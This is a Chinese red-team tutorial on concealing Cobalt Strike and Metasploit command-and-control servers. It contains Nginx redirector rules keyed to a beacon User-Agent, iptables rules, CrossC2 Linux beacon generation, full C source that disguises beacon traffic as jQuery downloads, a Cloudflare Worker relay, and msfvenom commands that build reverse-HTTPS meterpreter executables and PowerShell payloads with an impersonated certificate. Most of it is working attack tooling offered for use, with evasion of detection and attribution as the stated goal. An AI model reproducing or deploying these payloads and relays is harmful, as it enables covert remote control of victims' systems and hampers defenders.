将访问jquery-3.3.2.slim.min.js规定给仅有指定头才能反向代理到8443端口,这里我用的是jquery-c2.4.4.profile,ua头就设置配置文件中的ua头,使得只有指定 URL 才能访问,保证了不会被扫到。指定 User-Agent 可以确保的都是 Beacon:
##########################
# C2 Profile endpoints
##########################
# Custom regex to allow requests to backend C2 server
# Note: If the backend C2 server isn't available, the useragent will receive a redirect to the
# redirector's root page due to the custom error handling configured above
# Note: This intentionally does not handle default Beacon staging ^/....
location ~ ^(/jquery-3\.3\.1\.slim\.min\.js|/jquery-3\.3\.2\.min\.js|/jquery-3\.3\.1\.min\.js|/jquery-3\.3\.2\.slim\.min\.js)$ {
if ($http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko") {
return 302 $REDIRECT_DOMAIN$request_uri;
}
proxy_pass $C2_SERVER;
建议:Nginx 宜以 root 权限运行,默认生成的文件是 www-data 用户。使用该用户可能会有权限问题导致无法上线
CS 配置如下:
成功上线
这时我们的 listener 监听的是 0.0.0.0,我们应该配置成只能让反向代理套件访问,设置iptables,阻止非预期访问:
iptables -A INPUT -s 127.0.0.1 -p tcp --dport 8443 -j ACCEPT
iptables -A INPUT -p tcp --dport 8443 -j DROP
为了进一步避免被发现真实IP,利用iptables设置白名单,只允许CloudFlare的回源IP进行访问,不允许直接访问IP,其回源IP可从 https://www.cloudflare.com/zh-cn/ips/ 获取
iptables -A INPUT -p tcp --dport 443 -j DROP
iptables -I INPUT -s 173.245.48.0/20 -p tcp --dport 443 -j ACCEPT
..................................................
iptables -I INPUT -s 103.21.244.0/22 -p tcp --dport 443 -j ACCEPT
0x04 配置Crossc2上线Linux:
CrossC2是一款上线Linux系统的拓展插件
项目地址:https://github.com/gloxec/CrossC2/releases/
修改cna文件内容:
- CC2_PATH:指定插件存放位置(win系统使用双斜杠,linux系统使用反斜杠)
- CC2_BIN:根据运行CS客户端的系统环境修改
解压CrossC2Kit-GithubBot-2022-06-07.zip文件,解压后文件目录为CrossC2Kit。
去到CS服务器目录下,找到.cobaltstrike.beacon_keys文件,拷贝下来,放到和cna同一目录下。
在不加载profile的情况下,运行客户端,连接CS并加载插件:
创建监听,注意选择Beacon HTTPS,然后点击上方CrossC2选项,生成一个C2的反向监听:
将生成的文件上传至目标机器,赋权并运行上线CS:
上述操作是未带C2-Profile,直接带上C2-Profile,CrossC2所生成的Beacon可能无法上线也可能是上线了执行不了命令(这里可以自己尝试一下)。因此CrossC2提供通信协议API的方式来解决该问题。
CrossC2提供了一个c2profile.c文件,在该文件内编写相应的c代码,然后打包成.so文件,在使用./genCrossC2.Linux
时指定编译好的.so文件。这样生成的Beacon就可以按照c编写的逻辑构造数据包和解码数据包。
其中还提供了一个https.profile,和默认的c2profile.c文件是配对的,可以直接使用:
./teamserver 192.168.54.131 123456 https.profile
gcc c2profile.c -fPIC -shared -o lib_rebind_test.so
./genCrossC2.Linux 192.168.54.131 443 .cobaltstrike.beacon_keys lib_rebind_test.so Linux x64 ./test.out
通信函数说明:
- Beacon向TeamServer发送数据时触发
cc2_rebind_http_get_send
cc2_rebind_http_post_send- Beacon接收TeamServer响应的数据时触发
cc2_rebind_http_get_recv
cc2_rebind_http_post_recv- 查找有用的数据部分
find_payload
以jquery-c2.4.4.profile默认配置为例,基本不需要专门修改。
在不去掉C2-Profile中的Mask编码,需要自己实现Mask的编码和解码逻辑方式如下:
#include
#include
#include
#include
#include
static const char *BASE64_STR_CODE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static const short BASE64_INT_CODE[] = {-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1,
-1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16,
17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30,
31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50,
51};
static const short BASE64_INT_LENGTH = sizeof(BASE64_INT_CODE) / sizeof(BASE64_INT_CODE[0]);
void base64_decode_to_ascii(char *base64Str, long res[]) {
int i = 0;
int j = 0;
int v1 = 0;
int v2 = 0;
int v3 = 0;
int base64StrLength = strlen(base64Str);
for (i = 0; i < base64StrLength; ++i) {
char ascii = base64Str[i];
if (ascii == 0x20 | ascii == '\n' | ascii == '\t') {
break;
} else {
if (ascii == '=') {
++v3;
v1 <<= 6;
++v2;
switch (v2) {
case 1:
case 2:
return;
case 3:
break;
case 4:
res[j++] = (char) (v1 >> 16);
if (v3 == 1) {
res[j++] = (char) (v1 >> 8);
}
break;
case 5:
return;
default:
return;
}
} else {
if (v3 > 0) {
return;
}
if (ascii >= 0 && ascii < BASE64_INT_LENGTH) {
short v4 = BASE64_INT_CODE[ascii];
if (v4 >= 0) {
v1 = (v1 << 6) + v4;
++v2;
if (v2 == 4) {
res[j++] = (char) (v1 >> 16);
res[j++] = (char) (v1 >> 8 & 255);
res[j++] = (char) (v1 & 255);
v1 = 0;
v2 = 0;
}
continue;
}
}
if (ascii == 0x20 | ascii == '\n' | ascii == '\t') {
return;
}
}
}
}
}
void ascii_to_base64_encode(long ascii[], unsigned long asciiLength, char res[]) {
long i = 0;
long j = 0;
long v1 = 0;
long v2 = 0;
long v3 = 0;
long v6 = 0;
for (i = 0; i < asciiLength; ++i) {
v6 = ascii[v1++];
if (v6 < 0) {
v6 += 256;
}
v2 = (v2 << 8) + v6;
++v3;
if (v3 == 3) {
res[j++] = BASE64_STR_CODE[v2 >> 18];
res[j++] = BASE64_STR_CODE[v2 >> 12 & 63];
res[j++] = BASE64_STR_CODE[v2 >> 6 & 63];
res[j++] = BASE64_STR_CODE[v2 & 63];
v2 = 0;
v3 = 0;
}
}
if (v3 > 0) {
if (v3 == 1) {
res[j++] = BASE64_STR_CODE[v2 >> 2];
res[j++] = BASE64_STR_CODE[v2 << 4 & 63];
res[j++] = (unsigned char) '=';
} else {
res[j++] = BASE64_STR_CODE[v2 >> 10];
res[j++] = BASE64_STR_CODE[v2 >> 4 & 63];
res[j++] = BASE64_STR_CODE[v2 << 2 & 63];
}
res[j] = (unsigned char) '=';
}
}
unsigned long get_base64_decode_length(char *base64Str) {
long num;
long base64StrLength = strlen(base64Str);
if (strstr(base64Str, "==")) {
num = base64StrLength / 4 * 3 - 2;
} else if (strstr(base64Str, "=")) {
num = base64StrLength / 4 * 3 - 1;
} else {
num = base64StrLength / 4 * 3;
}
return sizeof(unsigned char) * num;
}
unsigned long get_base64_encode_length(long strLen) {
long num;
if (strLen % 3 == 0) {
num = strLen / 3 * 4;
} else {
num = (strLen / 3 + 1) * 4;
}
return sizeof(unsigned char) * num;
}
void mask_decode(long ascii[], unsigned long asciiLength, long res[]) {
long i = 0;
long j = 0;
short key[4] = {
ascii[0],
ascii[1],
ascii[2],
ascii[3]
};
for (i = 4; i < asciiLength; ++i) {
res[j] = ascii[i] ^ key[j % 4];
j++;
}
}
void mask_encode(long ascii[], unsigned long asciiLength, long res[]) {
long i = 0;
srand(time(NULL));
short key[4] = {
(char) (rand() % 255),
(char) (rand() % 255),
(char) (rand() % 255),
(char) (rand() % 255)
};
res[0] = key[0];
res[1] = key[1];
res[2] = key[2];
res[3] = key[3];
for (i = 4; i < asciiLength; i++) {
res[i] = ascii[i - 4] ^ key[i % 4];
}
}
char *fix_reverse(char *str) {
int i = 0;
unsigned long strLength = strlen(str);
char *res = calloc(strLength + 4, strLength + 4);
for (i = 0; i < strLength; ++i) {
if (str[i] == '_') {
res[i] = '/';
} else if (str[i] == '-') {
res[i] = '+';
} else {
res[i] = str[i];
}
}
while (strlen(res) % 4 != 0) {
res[strLength++] = '=';
}
res[strlen(res) + 1] = '\0';
return res;
}
char *fix(char *str) {
int i;
unsigned long strLength = strlen(str);
char *res = calloc(strLength, strLength);
for (i = 0; i < strLength; i++) {
if (str[i] == '/') {
res[i] = '_';
} else if (str[i] == '+') {
res[i] = '-';
} else if (str[i] == '=') {
continue;
} else {
res[i] = str[i];
}
}
return res;
}
char *find_payload(char *rawData, long long rawData_len, char *start, char *end, long long *payload_len) {
rawData = strstr(rawData, start) + strlen(start);
*payload_len = strlen(rawData) - strlen(strstr(rawData, end));
char *payload = (char *) calloc(*payload_len, sizeof(char));
memcpy(payload, rawData, *payload_len);
return payload;
}
char *cc2_rebind_http_post_send_param(char *data) {
unsigned long base64DecodeLength = get_base64_decode_length(data);
long base64DecodeRes[base64DecodeLength];
memset(base64DecodeRes, 0, base64DecodeLength);
base64_decode_to_ascii(data, base64DecodeRes);
long maskEncodeRes[base64DecodeLength + 4];
memset(maskEncodeRes, 0, base64DecodeLength + 4);
mask_encode(base64DecodeRes, base64DecodeLength + 4, maskEncodeRes);
unsigned long base64EncodeLength = get_base64_encode_length(sizeof(maskEncodeRes) / sizeof(maskEncodeRes[0]));
char *result = calloc(base64EncodeLength, base64EncodeLength);
ascii_to_base64_encode(maskEncodeRes, base64DecodeLength + 4, result);
return result;
}
char *cc2_rebind_http_recv_param(char *payload) {
char *data = fix_reverse(payload);
unsigned long base64DecodeLength = get_base64_decode_length(data);
long base64DecodeRes[base64DecodeLength];
memset(base64DecodeRes, 0, base64DecodeLength);
base64_decode_to_ascii(data, base64DecodeRes);
long maskDecodeRes[base64DecodeLength - 4];
memset(maskDecodeRes, 0, base64DecodeLength - 4);
mask_decode(base64DecodeRes, base64DecodeLength, maskDecodeRes);
unsigned long base64EncodeLength = get_base64_encode_length(base64DecodeLength - 4);
char *result = calloc(base64EncodeLength, base64EncodeLength);
ascii_to_base64_encode(maskDecodeRes, base64DecodeLength - 4, result);
return result;
}
void cc2_rebind_http_get_send(char *reqData, char **outputData, long long *outputData_len) {
char *requestBody = "GET /%s HTTP/1.1\r\n"
"Host: code.jquery.com\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\r\n"
"Cookie: __cfduid=%s\r\n"
"Referer: http://code.jquery.com/\r\n"
"Connection: close\r\n\r\n";
char postPayload[20000];
sprintf(postPayload, requestBody, "jquery-3.3.1.min.js", reqData);
*outputData_len = strlen(postPayload);
*outputData = (char *) calloc(1, *outputData_len);
memcpy(*outputData, postPayload, *outputData_len);
}
void cc2_rebind_http_post_send(char *reqData, char *id, char **outputData, long long *outputData_len) {
char *requestBody = "POST /%s?__cfduid=%s HTTP/1.1\r\n"
"Host: code.jquery.com\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\r\n"
"Referer: http://code.jquery.com/\r\n"
"Connection: close\r\n"
"Content-Length: %d\r\n\r\n%s";
id = cc2_rebind_http_post_send_param(id);
reqData = cc2_rebind_http_post_send_param(reqData);
char *postPayload = (char *) calloc(1, strlen(requestBody) + strlen(reqData) + 200);
sprintf(postPayload, requestBody, "jquery-3.3.2.min.js", id, strlen(reqData), reqData);
*outputData_len = strlen(postPayload);
*outputData = (char *) calloc(1, *outputData_len);
memcpy(*outputData, postPayload, *outputData_len);
free(postPayload);
}
void cc2_rebind_http_get_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
char *start = "return-1},P=\"\r";
char *end = "\".(o=t.documentElement";
long long payload_len = 0;
char *payload = find_payload(rawData, rawData_len, start, end, &payload_len);
*outputData = cc2_rebind_http_recv_param(payload);
*outputData_len = strlen(*outputData);
}
void cc2_rebind_http_post_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
char *start = "return-1},P=\"\r";
char *end = "\".(o=t.documentElement";
long long payload_len = 0;
char *payload = find_payload(rawData, rawData_len, start, end, &payload_len);
*outputData = cc2_rebind_http_recv_param(payload);
*outputData_len = strlen(*outputData);
}
项目地址:https://github.com/Richard-Tang/CrossC2-C2Profile/blob/main/c2profile.c
同样的编译成so文件,在生成Beacon时指定so文件。
gcc c2profile.c -fPIC -shared -o lib_rebind_test.so
./genCrossC2.Linux 192.168.54.131 443 .cobaltstrike.beacon_keys lib_rebind_test.so Linux x64 ./test.out
运行上线,此时在带C2-Profile的情况下能正常上线CrossC2的Beacon。
0x05 配置cloudflare-worker:
因为cloudflare不支持域前置,所以用这个代替,类似于域前置的一个作用。
创建一个服务然后选择快速编辑,写入js脚本:
let upstream = 'https://your-domain.com'
addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request));
})
async function fetchAndApply(request) {
const ipAddress = request.headers.get('cf-connecting-ip') || '';
let requestURL = new URL(request.url);
let upstreamURL = new URL(upstream);
requestURL.protocol = upstreamURL.protocol;
requestURL.host = upstreamURL.host;
requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
let new_request_headers = new Headers(request.headers);
new_request_headers.set("X-Forwarded-For", ipAddress);
let fetchedResponse = await fetch(
new Request(requestURL, {
method: request.method,
headers: new_request_headers,
body: request.body
})
);
let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
modifiedResponseHeaders.delete('set-cookie');
return new Response(
fetchedResponse.body,
{
headers: modifiedResponseHeaders,
status: fetchedResponse.status,
statusText: fetchedResponse.statusText
}
);
}
Metasploit 流量加密:
使用基于 HTTP 或者 HTTPS协议, 那么就可以实现基于应用层的加密:
windows/meterpreter/reverse_http
windows/meterpreter/reverse_https
优点:流量加密,允许在不终止有效负载的情况下断开有效负载(并退出 msfconsole)。然后,当再次设置处理程序时,payloads 将自动返回。
impersonate_ssl 模块:
1、生成证书:
该模块通过选项中提供的经过身份验证的源的SSL证书(会请求远程 SSL 证书)创建本地副本,输出 (PEM|DER) 格式的私钥/证书,可以在提供SSLCert选项的Metasploit的所有模块中使用。
use auxiliary/gather/impersonate_ssl
set RHOST www.baidu.com
补充基础:
.pem-在RFC 1421至1424中定义,这是一种容器格式,可以只包含公共证书(例如Apache安装和CA证书文件/etc/ssl/certs),或者可以包括完整的证书链,包括公共密钥,私钥和根证书。令人困惑的是,由于PKCS10格式可以转换为PEM ,因此它也可能对CSR进行编码。该名称来自“ 隐私增强邮件(PEM)”,这是一种用于保护电子邮件的失败方法,但是其使用的容器格式仍然存在,并且是x509 ASN.1密钥的base64转换。
2、创建完证书后,可以为其创建HTTP或HTTPS类型的有效负载,并为其提供PEM格式的证书以用于验证连接:
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.54.129 LPORT=4443 PayloadUUIDTracking=true PayloadUUIDName=Whoamishell HandlerSSLCert=/root/www.baidu.com.pem StagerVerifySSLCert=true -f exe -o 4443.exe
# 或者生成一个psh类型的木马:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.54.129 LPORT=4443 PayloadUUIDTracking=true PayloadUUIDName=ParanoidStagedPSH HandlerSSLCert=/root/www.baidu.com.pem StagerVerifySSLCert=true -f psh-cmd -o shell.bat
- HandlerSSLCert:向处理程序通知所使用的PEM证书。
- StagerVerifySSLCert:当收到一个连接时执行SSL证书验证。
- PayloadUUIDTracking和PayloadUUIDName:可以在监听的时候过滤掉不需要的回连请求。
3、启动监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 192.168.54.129
set LPORT 4443
set HandlerSSLCert /root/www.baidu.com.pem
set StagerVerifySSLCert true
exploit
win7靶机反弹失败
其他补充:
- 服务器访问IP源限制:将真实服务器防火墙+安全组的访问源ip做网段限制!设置成仅允许Cloudflare网段进行访问
- C2服务器安全加固:C2服务器的客户端默认连接的50050端口,配置好证书确认登录指纹信息!修改为其他高位端口,不用的时候利用防火墙安全组都deny或者限制登录ip范围
- 禁止PING,从某种角度可以判定为主机为不存活状态:
/etc/sysctl.conf
、net.ipv4.icmp_echo_ignore_all=1
、sysctl -p
- 服务器防火墙,c2上线端口只能让cdn的IP访问
cloudflare 使用的IP段:
173.245.48.0/20
103.21.244.0/22
103.22.200.0/22
103.31.4.0/22
141.101.64.0/18
108.162.192.0/18
190.93.240.0/20
188.114.96.0/20
197.234.240.0/22
198.41.128.0/17
162.158.0.0/15
104.16.0.0/12
172.64.0.0/13
131.0.72.0/22
国内IP段是cloudflare与百度云合作的节点:
162.159.211.4-103
103.21.244.0/22
103.22.200.0/22
103.31.4.0/22
104.16.0.0/12
108.162.192.0/18
131.0.72.0/22
141.101.64.0/18
162.158.0.0/15
172.64.0.0/13
173.245.48.0/20
188.114.96.0/20
190.93.240.0/20
197.234.240.0/22
198.41.128.0/17
参考如下:
对基础 shell 进行流量混淆
APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度
Using Cloudflare Workers as Redirectors - ajpc500
CobaltStrike4.4汉化破解及特征去除
域前置配合Nginx反代隐匿Cobalt Strike
【技术分享】保姆级Cobalt Strike主机隐藏教程
红队 | 流量加密:使用OpenSSL进行远控流量加密
Cobalt Strike CDN隐藏
CrossC2通信协议API的实践
红队作业 | MSF和CS实战技巧汇总 - 腾讯云开发者社区-腾讯云